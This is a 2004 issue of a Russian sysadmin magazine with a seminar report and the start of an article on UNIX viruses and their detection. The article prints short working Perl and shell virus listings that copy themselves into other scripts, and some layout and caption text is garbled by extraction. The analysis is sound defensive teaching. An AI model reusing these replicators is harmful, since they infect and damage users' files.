№1(14) январь 2004

подписной индекс 81655

журнал для cистемных администраторов,
вебмастеров и программистов

Вирусы в UNIX, или Гибель

«Титаника» II
Безопасность
беспроводных сетей
Защита от хакерских атак
с помощью ipfw
Как бороться с rootkits
RSBAC для Linux
Active Directory – теория
построения
Эффективная работа
с портами в FreeBSD
Безопасность услуг
№1(14) январь 2004

хостинга
 оглавление

КАЛЕНДАРЬ СОБЫТИЙ Безумный чертенок

Знакомство с Frenzy – портативным инструментом си-
Итоги SYSM.02 2 стемного администратора на базе ОС FreeBSD.

БЕЗОПАСНОСТЬ Александр Байрак

x01mer@pisem.net 58
Вирусы в UNIX, или Гибель «Титаника» II
Способы обнаружения вирусов. Средства защиты. Эффективная работа с портами в FreeBSD
Крис Касперски Владимир Осинцев
kk@sendmail.ru 6 oc@nm.ru 62

Что такое rootkits, и как с ними бороться Почтовый сервер с защитой от спама
Современный вариант троянского коня: набор утилит и вирусов на основе FreeBSD
rootkits. Как защититься?
Геннадий Дмитриев
Сергей Яремчук stranger03@mail.ru 68
grinder@ua.fm 24
Безопасный удаленный доступ
Безопасность беспроводных сетей к консолям оборудования
Методы атак на беспроводные сети. Рекомендации по
обеспечению безопасности. Дмитрий Ржавин
d.rzhavin@rtcomm.ru
Виктор Игнатьев Рафаэль Шарафутдинов
n4vy@nm.ru 28 rafael@soft-tronik.ru 74

Сам себе антихакер. Защита от хакерских ProxyInspector – инструмент контроля

атак с помощью ipfw за расходованием интернет-трафика
Методы сбора доступной информации об объекте на-
падения и способы защиты от них с помощью пакет- Андрей Бешков
ного фильтра ipfw. tigrisha@sysadmins.ru 80
Сергей Супрунов
amsand@rambler.ru 38 ПРОГРАММИРОВАНИЕ
Безопасность услуг хостинга
«Убиваем» зомби
Максим Костышин Как писать программы без зомби.
Maxim_kostyshin@mail.ru 46
Андрей Уваров
dashin@ua.fm 86
АДМИНИСТРИРОВАНИЕ

Rule Set Based Access Control для Linux ОБРАЗОВАНИЕ

Обзор проекта RSBAC, решающего проблему разгра-
ничения доступа пользователей. Active Directory – теория построения
Сергей Яремчук Иван Коробко
grinder@ua.fm 50 ikorobko@prosv.ru 90

№1(14), январь 2004 1

 календарь событий

ИТОГИ SYSM.02
20 декабря 2003 года портал SysAdmins.RU при инфор-
мационной поддержке журнала «Системный администра-
тор» и журнала «UPGRADE» провел второй Семинар си-
стемных администраторов и инженеров, SYSM.02, в рам-
ках которого, помимо основной программы, состоялось
учредительное собрание Профсоюза специалистов в об-
ласти информационных технологий.
Более 160 человек собрались из разных городов Рос-
сии и СНГ, чтобы принять участие в Семинаре.
Безусловно, SYSM.02 удался, организаторы Семинара
создали дружественную и позитивную атмосферу, благопри-
ятную для общения, обмена опытом, знаниями и идеями.
В первой части Семинара было представлено четыре
обширных информационных доклада. В перерывах меж-
ду выступлениями продолжались дискуссии. Участники
Семинара – Дмитрий Головин и Алексей Костромин де-
лятся своими впечатлениями и дают краткий обзор каж-
дого выступления: Ìèõàèë Òîð÷èíñêèé, ôîòî Àëåêñåÿ Êîñòðîìèíà
половому, национальному и прочим признакам, положе-
ние на рынке труда в целом – острые и актуальные темы
для сферы IT. После окончания доклада, который, по сути,
прошел как диалог с залом, Михаила Торчинского еще
долго не отпускали, и некоторые наши коллеги пожертво-
вали обедом ради интересного и живого общения с ним.
Выступление Игоря Ляпунова состояло из двух час-
тей: первая – о возможных путях построения безопаснос-
ти в локальной сети для начинающих системных админи-
страторов. Вторая часть выступления «Решения
NetScreen: архитектура, применение, администрирование,
перспективы» носила скорее рекламный характер.

Àíäðåé Áåøêîâ, ôîòî Àëåêñåÿ Êîñòðîìèíà

«Тема, которую Андрей Бешков поднял в своем док-
ладе «Virtual computing. Полигон для кроссплатформен-
ной разработки, моделирования и тестирования моделей
локальных сетей и серверных комплексов перед внедре-
нием» была интересна большому числу IT-специалистов:
как системным администраторам, так и разработчикам.
Специалисты более подробно ознакомились с возможно-
стями программного обеспечения VMWare, Андрей Беш-
ков на примерах показал, как при помощи данного ПО на
одном компьютере организовать маленькую работающую
локальную сеть (с маршрутизаторами, шлюзами, разны-
ми подсетями и прочим оборудованием, которое необхо-
димо для полноценной работы).
Следующим был доклад Михаила Торчинского «Обзор- Èãîðü Ëÿïóíîâ, ôîòî Àëåêñàíäðà Íåì÷åíêî
ный анализ основных направлений развития карьеры IT- Наконец, доклад «Новые технологии конфигурирова-
специалиста в России». ния для систем ALT Linux. Архитектура, возможности, пер-
Его выступление, пожалуй, можно отнести к одному спективы» Олега Власенко был обзорным, более деталь-
из ключевых, за короткий промежуток времени были об- но тема будет раскрыта на специализированном семина-
суждены вопросы, связанные с трудоустройством, опла- ре, который будет проводить компания ALTLinux в февра-
той труда, переменой места работы, дискриминацией по ле 2004 года».

2

Îëåã Âëàñåíêî, ôîòî Àëåêñåÿ Êîñòðîìèíà
Во второй части Семинара состоялось учредительное
собрание Профсоюза специалистов в области информа-
ционных технологий.
Подробности – в пресс-релизе, подготовленным Ма-
рией Антоновой:
«Профсоюз представляет собой объединение систем-
ных и сетевых администраторов, программистов, веб-ма-
стеров, контент-редакторов, технических писателей, спе-
циалистов в области информационной безопасности, IT-
менеджеров, IT-аналитиков, руководителей IT-департа-
ментов и всех тех, кто работает в сфере информацион-
ных технологий. Это объединение имеет все шансы стать
действенным инструментом защиты прав своих членов.
Более 100 участников Семинара стали первыми чле-
нами профсоюза. Состоялось собрание, на котором в
результате голосования было избрано Правление и ут-
верждена предложенная Программа работы профсою-
за на 2004 год.
календарь событий
профсоюза, привлечение региональных компаний IT-рын-
ка к реализации программ профсоюза в регионах.
По всем пунктам, представленным в программе, есть
договорённости с компаниями, которые сотрудничают с
профсоюзом. По социальному направлению разработана
программа страхования: каждый член профсоюза с фев-
раля 2004 года будет застрахован от несчастных случаев,
которые могут повлечь за собой потерю трудоспособнос-
ти. Всероссийское молодежное аэрокосмическое общество
«Союз» предоставляет бесплатные путёвки для детей чле-
нов профсоюза в детские лагеря отдыха. Основная идея
учебного направления – предоставить члену профсоюза
возможность получить специальные знания и навыки, ко-
торые помогут ему успешно спланировать свою карьеру.
Программа профсоюза весьма обширна, здесь представ-
лена только малая толика того, что запланировано.
Àëåêñåé Ëèïîâöåâ, îðãàíèçàòîð SYSM.02, ôîòî Àëåêñàíäðà Íåì÷åíêî
По словам Алексея Липовцева, Председателя Прав-
ления профсоюза: «Начало положено, и довольно успеш-
но. В планах – развивать профсоюз в 2004 году, разраба-
тывать и реализовывать программы обучения, трудоуст-
ройства и поддержки членов профсоюза, развивать со-
циальное направление работы.»
Более подробную информацию о деятельности проф-
союза IT-специалистов вы можете найти на официальном
сайте http://ITCU.ru».

Îáñóæäåíèå ïðîãðàììû ïðîôñîþçà, ôîòî Àëåêñåÿ Ôîìèíà

В состав Правления вошла группа учредителей Проф-
союза, которая занималась претворением в жизнь этого
проекта. Учредителями был проделан огромный труд: про-
ведена разработка Устава профсоюза, Программы работы
профсоюза на 2004 год, заключение договоренностей о со-
трудничестве с различными компаниями и организациями,
оформление соответствующих юридических документов.
Программа работы профсоюза на 2004 год охватыва-
ет юридическое, социальное, трудовое и учебное направ-
ления, а также предусматривает создание первичных
профсоюзных организаций и региональных отделений Ïåòð Áî÷àðîâ, îðãàíèçàòîð SYSM.02, ôîòî Àëåêñàíäðà Íåì÷åíêî

№1(14), январь 2004 3

безопасность

ВИРУСЫ В UNIX,
ИЛИ ГИБЕЛЬ «ТИТАНИКА» II
Ночью 14 апреля 1912 года принадлежавший
Британии непотопляемый океанский лайнер «Титаник»
столкнулся с айсбергом и утонул, унеся с собой жизни
более пятнадцати сотен из двух тысяч двухсот
пассажиров… Поскольку «Титаник» был непотопляем,
на нем не хватило спасательных шлюпок.
Джозеф Хеллер
«Вообрази себе картину»

Считается, что в UNIX-системах вирусы не живут – они там дохнут. Отчасти это действительно так,
однако не стоит путать принципиальную невозможность создания вирусов с их отсутствием как
таковых. В действительности же UNIX-вирусы существуют, и на настоящий момент (начало 2004 года)
их популяция насчитывает более двух десятков. Немного? Не торопитесь с выводами. «Дефицит» UNIX-
вирусов носит субъективный, а не объективный характер. Просто в силу меньшей распространенности
UNIX-подобных операционных систем и специфики их направленности в этом мире практически
не встречается даунов и вандалов. Степень защищенности операционной системы тут не при чем.
Надеяться, что UNIX справится с вирусами и сама, несколько наивно и, чтобы не разделить судьбу
«Титаника», держите защитные средства всегда под рукой, тщательно проверяя каждый запускаемый
файл на предмет наличия заразы. О том, как это сделать, и рассказывает настоящая статья.

КРИС КАСПЕРСКИ

6

Исторически сложилось так, что первым нашумевшим ви-
русом стал Червь Морриса, запущенный им в Сеть 2 но-
ября 1988 года и поражающий компьютеры, оснащенные
4 BSD UNIX. Задолго до этого, в ноябре 1983 г., доктор
Фредерик Коэн (Dr. Frederick Cohen) доказал возможность
существования саморазмножающихся программ в защи-
щенных операционных системах, продемонстрировав не-
сколько практических реализаций для компьютеров типа
VAX, управляемых операционной системой UNIX. Счита-
ется, что именно он впервые употребил термин «вирус».
На самом деле между этими двумя событиями нет
ничего общего. Вирус Морриса распространялся через
дыры в стандартном программном обеспечении (кото-
рые, кстати говоря, долгое время оставались незакры-
тыми), в то время как Коэн рассматривал проблему са-
моразмножающихся программ в идеализированной опе-
рационной системе без каких-либо дефектов в системе
безопасности. Наличие дыр просто увеличило масшта-
бы эпидемии и сделало размножение вируса практичес-
ки неконтролируемым.
А теперь перенесемся в наши дни. Популярность UNIX-
подобных систем стремительно растет и интерес к ним
со стороны вирусописателей все увеличивается. Квали-
фикация системных администраторов (пользователей
персональных компьютеров и рабочих станций), напро-
тив, неуклонно падает. Все это создает благоприятную
среду для воспроизводства и размножения вирусов, и
процесс их разработки в любой момент может принять
лавинообразный характер, – стоит только соответствую-
щим технологиям попасть в массы. Готово ли UNIX-сооб-
щество противостоять этому? Нет! Судя по духу, витаю-
щему в телеконференциях, и общему настроению адми-
нистраторов, UNIX считается непотопляемой системой, и
вирусная угроза воспринимается крайне скептически.
Между тем, качество тестирования программного обес-
печения (неважно, распространяемого в открытых исход-
ных текстах или нет) достаточно невелико и, по меткому
выражению одного из хакеров, один-единственный
SendMail содержит больше дыр, чем все Windows-прило-
жения вместе взятые. Большое количество различных
дистрибутивов UNIX-систем многократно снижает влия-
ние каждой конкретной дырки, ограничивая ареал обита-
ния вирусов сравнительно небольшим количеством ма-
шин, однако в условиях всеобщей глобализации и высо-
коскоростных интернет-каналов даже чрезвычайно изби-
рательный вирус способен поразить тысячи компьютеров
за считанные дни или даже часы!
Распространению вирусов невероятно способствует
тот факт, что в подавляющем большинстве случаев сис-
тема конфигурируется с довольно демократичным уров-
нем доступа. Иногда это происходит по незнанию и/или
небрежности системных администраторов, иногда по
«производственной» необходимости. Если на машине
постоянно обновляется большое количество программно-
го обеспечения (в том числе и создаваемого собственны-
ми силами), привилегии на модификацию исполняемых
файлов становятся просто необходимы, в противном слу-
чае процесс общения с компьютером из радости рискует
превратиться в мучение.
№1(14), январь 2004
безопасность
Что бы там ни говорили фанатики UNIX, но вирусы раз-
множаются и на этой платформе. Отмахиваться от этой
проблемы означает уподобиться страусу. Вы хотите быть
страусами? Я думаю – нет!
Условия, необходимые
для функционирования вирусов
Памятуя о том, что общепринятого определения «компь-
ютерных вирусов» не существует, условимся обозначать
этим термином все программы, способные к скрытому
размножению. Последнее может быть как самостоятель-
ным (поражение происходит без каких-либо действий со
стороны пользователя: достаточно просто войти в сеть),
так и нет (вирус пробуждается только после запуска ин-
фицированной программы).
Сформулируем минимум требований, «предъявляе-
мых» саморазмножающимися программами к окружаю-
щей среде (кстати, почему бы окружающую среду не на-
звать окружающим четвергом?):
! в операционной системе имеются исполняемые
объекты;
! эти объекты возможно модифицировать и/или созда-
вать новые;
! происходит обмен исполняемыми объектами между
различными ареалами обитания.
Под «исполняемым объектом» здесь понимается не-
которая абстрактная сущность, способная управлять по-
ведением компьютера по своему усмотрению. Конечно,
это не самое удачное определение, но всякая попытка
конкретизации неизбежно оборачивается потерей зна-
чимости. Например, текстовый файл в формате ASCII
интерпретируется вполне определенным образом и на
первый взгляд средой обитания вируса быть никак не
может. Однако, если текстовой процессор содержит
ошибку типа «buffer overfull», существует вполне реаль-
ная возможность внедрения в файл машинного кода с
последующей передачей на него управления. А это зна-
чит, что мы не можем априори утверждать, какой объект
исполняемый, а какой нет.
В плане возвращения с небес теоретической экзотики
на грешну землю обетованну, ограничим круг своих ин-
тересов тремя основными типами исполняемых объектов:
дисковыми файлами, оперативной памятью и загрузоч-
ными секторами.
Процесс размножения вирусов в общем случае сво-
дится к модификации исполняемых объектов с таким рас-
четом, чтобы хоть однажды в жизни получить управле-
ние. Операционные системы семейства UNIX по умолча-
нию запрещают пользователям модифицировать испол-
няемые файлы, предоставляя эту привилегию лишь root.
Это чрезвычайно затрудняет размножение вирусов, но
отнюдь не делает его невозможным! Во-первых, далеко
не все пользователи UNIX осознают опасность регистра-
ции с правами root, злоупотребляя ей безо всякой необ-
ходимости. Во-вторых, некоторые приложения только под
root и работают, причем создать виртуального пользова-
теля, изолированного от всех остальных файлов систе-
мы, в некоторых случаях просто не получается. В-треть-
7
 безопасность
их, наличие дыр в программном обеспечении позволяет
вирусу действовать в обход установленных ограничений.
Тем более, что помимо собственно самих исполняе-
мых файлов в UNIX-системах имеются и чрезвычайно
широко используются интерпретируемые файлы (далее
по тексту просто скрипты). Причем, если в мире Windows
командные файлы играют сугубо вспомогательную роль,
то всякий уважающий себя UNIX-пользователь любое
мало-мальски часто выполняемое действие загоняет в
отдельный скрипт, после чего забывает о нем напрочь.
На скриптах держится не только командная строка, но и
программы генерации отчетов, интерактивные веб-стра-
нички, многочисленные управленческие приложения и т. д.
Модификация файлов скриптов, как правило, не требует
никаких особенных прав, и потому они оказываются впол-
не перспективной кандидатурой для заражения. Также
вирусы могут поражать и исходные тексты программ, и
исходные тексты операционной системы, с компилятором
в том числе (их модификация в большинстве случаев раз-
решена).
Черви могут вообще подолгу не задерживаться в од-
ном компьютере, используя его лишь как временное при-
станище для рассылки своего тела на другие машины.
Однако большинство червей все же предпочитают осед-
лый образ жизни кочевому, внедрясь в оперативную и/или
долговременную память. Для своего размножения черви
обычно используют дефекты операционной системы и/или
ее окружения, обеспечивающие возможность удаленно-
го выполнения программного кода. Ряд вирусов распрос-
траняется через прикрепленные к письму файлы (в ку-
рилках именуемые аттачами от английского attachment –
вложение) в надежде, что доверчивый пользователь за-
пустит их. К счастью, UNIX-пользователи в своей массе
не настолько глупы, чтобы польститься на столь очевид-
ную заразу.
Откровенно говоря, причина низкой активности виру-
сов кроется отнюдь не в защищенности UNIX, но в приня-
той схеме распространения программного обеспечения.
Обмена исполняемыми файлами между пользователями
UNIX практически не происходит. Вместо этого они пред-
почитают скачивать требующиеся им программы с ори-
гинального источника, зачастую в исходных текстах. Не-
смотря на имеющиеся прецеденты взлома web/ftp-серве-
ров и троянизации их содержимого, ни одной мало-маль-
ски внушительной эпидемии еще не случилось, хотя ло-
кальные очаги «возгорания» все-таки были.
Агрессивная политика продвижения LINUX веролом-
но проталкивает эту ОС на рынок домашних и офисных
ПК, т.е. в те сферы, где UNIX не только не сильна, но и по-
просту не нужна. Оказавшись в кругу неквалифицирован-
ных пользователей, UNIX автоматически потеряет звание
свободной от вирусов системы, и опустошительные эпиде-
мии не заставят себя ждать. Встретим мы их во всеоружии
или в очередной раз дадим маху, вот в чем вопрос…
Вирусы в скриптах
Как уже отмечалось выше, скрипты выглядят достаточно
привлекательной средой для обитания вирусов, и вот по-
чему:
8
! в мире UNIX скрипты вездесущи;
! модификация большинства файлов скриптов разре-
шена;
! скрипты зачастую состоят из сотен строк кода, в кото-
рых очень легко затеряться;
! скрипты наиболее абстрагированы от особенностей
реализации конкретного UNIX;
! возможности скриптов сопоставимы с языками высо-
кого уровня (Си, Бейсик, Паскаль);
! скриптами пользователи обмениваются более интен-
сивно, чем исполняемыми файлами.
Большинство администраторов крайне пренебрежи-
тельно относятся к скриптовым вирусам, считая их «не-
настоящими». Между тем, системе по большому счету все
равно, каким именно вирусом быть атакованной – насто-
ящим или нет. При кажущейся игрушечности скрипт-ви-
русы представляют собой достаточно серьезную угрозу.
Ареал их обитания практически безграничен – они успеш-
но поражают как компьютеры с процессорами Intel
Pentium, так и DEC Alpha/SUN SPARС. Они внедряются в
любое возможное место (конец/начало/середину) заража-
емого файла. При желании они могут оставаться рези-
дентно в памяти, поражая файлы в фоновом режиме. Ряд
скрипт-вирусов используют те или иные Stealth-техноло-
гии, скрывая факт своего присутствия в системе. Гений
инженерной мысли вирусописателей уже освоил полимор-
физм, уравняв тем самым скрипт-вирусы в правах с ви-
русами, поражающими двоичные файлы.
Каждый скрипт, полученный извне, перед установ-
кой в систему должен быть тщательным образом про-
анализирован на предмет присутствия заразы. Ситуа-
ция усугубляется тем, что скрипты, в отличие от двоич-
ных файлов, представляют собой plain-текст, начисто
лишенный внутренней структуры, а потому при его за-
ражении никаких характерных изменений не происхо-
дит. Единственное, что вирус не может подделать – это
стиль оформления листинга. Почерк каждого програм-
миста строго индивидуален. Одни используют табуля-
цию, другие предпочитают выравнивать строки посред-
ством пробелов. Одни разворачивают конструкции if –
else на весь экран, другие умещают их в одну строку.
Одни дают всем переменным осмысленные имена, дру-
гие используют одно-двух символьную абракадабру в
стиле «A», «X», «FN» и т. д. Даже беглый просмотр за-
раженного файла позволяет обнаружить инородные
вставки (конечно, при том условии, что вирус не пере-
форматирует поражаемый объект).
Ëèñòèíã 1. Ïðèìåð âèðóñà, îáíàðóæèâàþùåãî ñåáÿ ïî ñòèëþ
#!/usr/bin/perl #PerlDemo
open(File,$0); @Virus=<File>; @Virus=@Virus[0...6]; close(File);
foreach $FileName (<*>) { if ((-r $FileName) ↵
&& (-w $FileName) && (-f $FileName)) {
open(File, "$FileName"); @Temp=<File>; close(File); ↵
if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
{ if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { ↵
open(File, ">$FileName"); print File @Virus;
print File @Temp; close (File); } } } }
Дальше. Грамотно спроектированный вирус поража-
ет только файлы «своего» типа, в противном случае он

быстро приведет систему к краху, демаскируя себя и па-
рализуя дальнейшее распространение. Поскольку в мире
UNIX-файлам не принято давать расширения, задача по-
иска подходящих жертв существенно осложняется, и ви-
русу приходится явно перебирать все файлы один за од-
ним, определяя их тип вручную.
Существуют по меньшей мере две методики такого оп-
ределения: отождествление командного интерпретатора
и эвристический анализ. Начнем с первого из них. Если в
начале файла стоит магическая последовательность «#!»,
то остаток строки содержит путь к программе, обрабаты-
вающей данный скрипт. Для интерпретатора Борна эта
строка обычно имеет вид «#!/bin/sh», а для Perl – «#!/usr/
bin/perl». Таким образом, задача определения типа фай-
ла в общем случае сводится к чтению его первой строки
и сравнению ее с одним или несколькими эталонами. Если
только вирус не использовал хеш-сравнение, эталонные
строки будут явно присутствовать в зараженном файле,
легко обнаруживая себя тривиальным контекстным поис-
ком (см. листинги 2, 3).
Девять из десяти скрипт-вирусов ловятся на этот не-
замысловатый прием, остальные же тщательно скрыва-
ют эталонные строки от посторонних глаз (например,
шифруют их или же используют посимвольное сравне-
ние). Однако в любом случае перед сравнением строки
с эталоном вирус должен ее считать. В командных фай-
лах для этой цели обычно используются команды greep
или head. Конечно, их наличие в файле еще не свиде-
тельствует о зараженности последнего, однако позво-
ляет локализовать жизненно важные центры вируса,
ответственные за определения типа файла, что значи-
тельно ускоряет его анализ. В Perl-скриптах чтение фай-
ла чаще всего осуществляется через оператор «< >»,
реже используются функции read/readline/getc. Тот факт,
что практически ни одна мало-мальски серьезная Perl-
программа не обходится без файлового ввода/вывода,
чрезвычайно затрудняет выявление вирусного кода, осо-
бенно если чтение файла происходит в одной ветке про-
граммы, а определение его типа – совсем в другой. Это
затрудняет автоматизированный анализ, но еще не де-
лает его невозможным!
Эвристические алгоритмы поиска жертвы состоят в
выделении уникальных последовательностей, присущих
файлам данного типа и не встречающихся ни в каких
других. Так, наличие последовательности «if [» с веро-
ятностью близкой к единице указывает на командный
скрипт. Некоторые вирусы отождествляют командные
файлы по строке «Bourne», которая присутствует в не-
которых, хотя и далеко не всех скриптах. Естественно,
никаких универсальных приемов распознавания эврис-
тических алгоритмов не существует (на то они и эврис-
тические алгоритмы).
Во избежание многократного инфицирования файла-
носителя вирусы должны уметь распознавать факт свое-
го присутствия в нем. Наиболее очевидный (и популяр-
ный!) алгоритм сводится к внедрению специальной клю-
чевой метки (вроде «это я – Вася»), представляющей со-
бой уникальную последовательность команд, так сказать,
сигнатуру вируса или же просто замысловатый коммен-
№1(14), январь 2004
безопасность
тарий. Строго говоря, гарантированная уникальность ви-
русам совершенно не нужна. Достаточно, чтобы ключе-
вая метка отсутствовала более чем в половине неинфи-
цированных файлов. Поиск ключевой метки может осу-
ществляться как командами find/greep, так и построчеч-
ным чтением из файла с последующим сравнением до-
бытых строк с эталоном. Скрипты командных интерпре-
таторов используют для этой цели команды head и tail,
применяемые совместно с оператором «=», ну а Perl-ви-
русы все больше тяготеют к регулярным выражениям, что
существенно затрудняет их выявление, т.к. без регуляр-
ных выражений не обходится практически ни одна Perl-
программа.
Другой возможной зацепкой является переменная
«$0», используемая вирусами для определения собствен-
ного имени. Не секрет, что интерпретируемые языки про-
граммирования не имеют никакого представления о том,
каким именно образом скрипты размещаются в памяти,
и при всем желании не могут «дотянуться» до них. А раз
так, то единственным способом репродуцирования свое-
го тела остается чтение исходного файла, имя которого
передается в нулевом аргументе командной строки. Это
достаточно характерный признак заражения исследуемо-
го файла, ибо существует очень немного причин, по ко-
торым программа может интересоваться своим названи-
ем и путем.
Впрочем, существует (по крайней мере теоретически)
и альтернативный способ размножения. Он работает по
тем же принципам, что и программа, распечатывающая
сама себя (в былое время без этой задачки не обходи-
лась ни одна олимпиада по информатике). Решение сво-
дится к формированию переменной, содержащей про-
граммный код вируса, с последующим внедрением оного
в заражаемый файл. В простейшем случае для этого ис-
пользуется конструкция «<<», позволяющая скрыть факт
внедрения программного кода в текстовую переменную
(и это выгодно отличает Perl от Си). Построчная генера-
ция кода в стиле «@Virus[0]= “\#\!\/usr\/bin\/perl”» встреча-
ется реже, т.к. слишком громоздко, непрактично и к тому
же наглядно (в смысле даже при беглом просмотре лис-
тинга выдает вирус с головой).
Зашифрованные вирусы распознаются еще проще.
Наиболее примитивные экземпляры содержат большое
количество «шумящих» двоичных последовательностей
типа «\x73\xFF\x33\x69\x02\x11…», чьим флагманом явля-
ется спецификатор «\x», за которым следует ASCII-код
зашифрованного символа. Более совершенные вирусы
используют те или иные разновидности UUE-кодирова-
ния, благодаря чему все зашифрованные строки выгля-
дят вполне читабельно, хотя и представляют собой бес-
смысленную абракадабру вроде «UsKL[aS4iJk». Учитывая,
что среднеминимальная длина Perl-вирусов составляет
порядка 500 байт, затеряться в теле жертвы им легко.
Теперь рассмотрим пути внедрения вируса в файл.
Файлы командного интерпретатора и программы, напи-
санные на языке Perl, представляют собой неиерархичес-
кую последовательность команд, при необходимости
включающую в себя определения функций. Здесь нет
ничего, хотя бы отдаленно похожего на функцию main язы-
9
 безопасность
ка Си или блок BEGIN/END языка Паскаль. Вирусный код,
тупо дописанный в конец файла, с вероятностью 90%
успешно получит управление и будет корректно рабо-
тать. Оставшиеся 10% приходятся на случаи преждев-
ременного выхода из программы по exit или ее принуди-
тельного завершения по <Ctrl-C>. Для копирования сво-
его тела из конца одного файла в конец другого вирусы
обычно используют команду «tail», вызывая ее прибли-
зительно так:
Ëèñòèíã 2. Ôðàãìåíò âèðóñà UNIX.Tail.a, äîïèñûâàþùåãî ñåáÿ
â êîíåö ôàéëà (îðèãèíàëüíûå ñòðîêè ôàéëà-æåðòâû âûäåëåíû
ñèíèì)
#!/bin/sh
echo "Hello, World!"
for F in *
do
if ["$(head -c9 $F 2>/dev/null)"="#!/bin/sh" ↵
-a "$(tail -1 $F 2>/dev/null)"!="#:-P"]
then
tail -8 $0 >> $F 2>/dev/null
fi
done
Другие вирусы внедряются в начало файла, перехва-
тывая все управление на себя. Некоторые из них содер-
жат забавную ошибку, приводящую к дублированию стро-
ки «!#/bin/xxx», первая из которых принадлежит вирусу, а
вторая – самой зараженной программе. Наличие двух
магических последовательностей «!#» в анализируемом
файле красноречиво свидетельствует о его заражении,
однако подавляющее большинство вирусов обрабатыва-
ет эту ситуацию вполне корректно, копируя свое тело не
с первой, а со второй строки. Типичный пример такого
вируса приведен ниже:
Ëèñòèíã 3. Ôðàãìåíò âèðóñà UNIX.Head.b, âíåäðÿþùåãîñÿ â íà÷à-
ëî ôàéëà (îðèãèíàëüíûå ñòðîêè ôàéëà-æåðòâû âûäåëåíû ñèíèì)
#!/bin/sh
for F in *
do
if [ "$(head -c9 $F 2>/dev/null)" = "#!/bin/sh" ] then
head -11 $0 > tmp
cat $F >> tmp
mv tmp $F
fi
done
echo "Hello, World!"
Некоторые, весьма немногочисленные вирусы вне-
дряются в середину файла, иногда перемешиваясь с его
оригинальным содержимым. Естественно, для того что-
бы процесс репродуцирования не прекратился, вирус
должен каким-либо образом помечать «свои» строки
(например, снабжать их комментарием «#MY LINE») либо
же внедряться в фиксированные строки (например, на-
чиная с тринадцатой строки, каждая нечетная строка
файла содержит тело вируса). Первый алгоритм слиш-
ком нагляден, второй – слишком нежизнеспособен (часть
вируса может попасть в одну функцию, а часть – совсем
в другую), поэтому останавливаться на этих вирусах мы
не будем.
Таким образом, наиболее вирусоопасными являются
начало и конец всякого файла. Их следует изучать с осо-
10
бой тщательностью, не забывая о том, что вирус может
содержать некоторое количество «отвлекающих» команд,
имитирующих ту или иную работу.
Встречаются и вирусы-спутники, вообще не «дотраги-
вающиеся» до оригинальных файлов, но во множестве
создающие их «двойников» в остальных каталогах. По-
клонники чистой командной строки, просматривающие
содержимое директорий через ls могут этого и не заме-
тить, т.к. команда ls вполне может иметь «двойника», пре-
дусмотрительно убирающего свое имя из списка отобра-
жаемых файлов.
Не стоит забывать и о том, что создателям вирусов не
чуждо элементарное чувство беспечности, и откровенные
наименования процедур и/или переменных в стиле
«Infected», «Virus», «ZARAZA» – отнюдь не редкость.
Иногда вирусам (особенно полиморфным и зашифро-
ванным) требуется поместить часть программного кода
во временный файл, полностью или частично передав ему
бразды правления. Тогда в теле скрипта появляется ко-
манда «chmod +x», присваивающая файлу атрибут испол-
няемого. Впрочем, не стоит ожидать, что автор вируса
окажется столь ленив и наивен, что не предпримет ника-
ких усилий для сокрытия своих намерений. Скорее всего
нам встретится что-то вроде: «chmod $attr $FileName».
Òàáëèöà 1. Ñâîäíàÿ òàáëèöà íàèáîëåå õàðàêòåðíûõ ïðèçíàêîâ íà-
ëè÷èÿ âèðóñà ñ êðàòêèìè êîììåíòàðèÿìè (ïîäðîáíîñòè ïî òåêñòó)
Ëèñòèíã 4. Ôðàãìåíò Perl-âèðóñà UNIX.Demo
#!/usr/bin/perl
#PerlDemo
open(File,$0);
@Virus=<File>;
@Virus=@Virus[0...27];
close(File);
foreach $FileName (<*>)
{
if ((-r $FileName) && (-w $FileName) && (-f $FileName))
{
open(File, "$FileName");
@Temp=<File>;
close(File);
if ((@Temp[1] =~ "PerlDemo") or (@Temp[2] =~ "PerlDemo"))
{
if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl"))
{
open(File, ">$FileName");
print File @Virus;
print File @Temp;
close (File);
}
}
}
}

Эльфы в заповедном лесу
За всю историю существования UNIX было предложено
множество форматов двоичных исполняемых файлов,
однако к настоящему моменту в более или менее упот-
ребляемом виде сохранились лишь три из них: a.out, COFF
и ELF.
Формат a.out (Assembler and link editor OUTput files) –
самый простой и наиболее древний из трех перечислен-
ных, появившийся еще во времена господства PDP-11 и
VAX. Он состоит из трех сегментов: .text (сегмент кода),
.data (сегмент инициализированных данных) и .bss (сег-
мент неинициализированных данных), двух таблиц пе-
ремещаемых элементов (по одной для сегментов кода
и данных), таблицы символов, содержащей адреса эк-
спортируемых/импортируемых функций, и таблицы
строк, содержащей имена последних. К настоящему
моменту формат a.out считается устаревшим и практи-
чески не используется. Краткое, но вполне достаточ-
ное для его освоения руководство содержится в man
Free BSD. Также рекомендуется изучить включаемый
файл a.out.h, входящий в комплект поставки любого
UNIX-компилятора.
Формат COFF (Common Object File Format) – прямой
наследник a.out – представляет собой существенно усо-
вершенствованную и доработанную версию последнего.
В нем появилось множество новых секций, изменился
формат заголовка (и в том числе появилось поле дли-
ны, позволяющее вирусу вклиниваться между заголов-
ком и первой секцией файла), все секции получили воз-
можность проецироваться по любому адресу виртуаль-
ной памяти (для вирусов, внедряющихся в начало и/или
середину файла, это актуально) и т. д. Формат COFF
широко распространен в мире Windows NT (PE-файлы
представляют собой слегка модифицированный COFF),
но в современных UNIX-системах он практически не ис-
пользуется, отдавая дань предпочтения формату ELF.
Формат ELF (Executable and Linkable Format, хотя не
исключено, что формат сначала получил благозвучное
название, под которое потом подбиралась соответствую-
щая аббревиатура – среди UNIX-разработчиков всегда
было много толкиенистов) очень похож на COFF и факти-
чески является его разновидностью, спроектированной
для обеспечения совместимости с 32- и 64-разрядными
архитектурами. В настоящее время – это основной фор-
мат исполняемых файлов в системах семейства UNIX. Не
то чтобы он всех сильно устраивал (та же FreeBSD сопро-
тивлялась нашествию Эльфов, как могла, но в версии 3.0
была вынуждена объявить ELF-формат как формат, ис-
пользуемый по умолчанию, поскольку последние версии
популярного компилятора GNU C древних форматов уже
не поддерживают), но ELF – это общепризнанный стан-
дарт, с которым приходится считаться, хотим ли мы того
или нет. Поэтому в настоящей статье речь главным об-
разом пойдет о нем. Для эффективной борьбы с вируса-
ми вы должны изучить ELF-формат во всех подробнос-
тях. Вот два хороших руководства на эту тему: http://
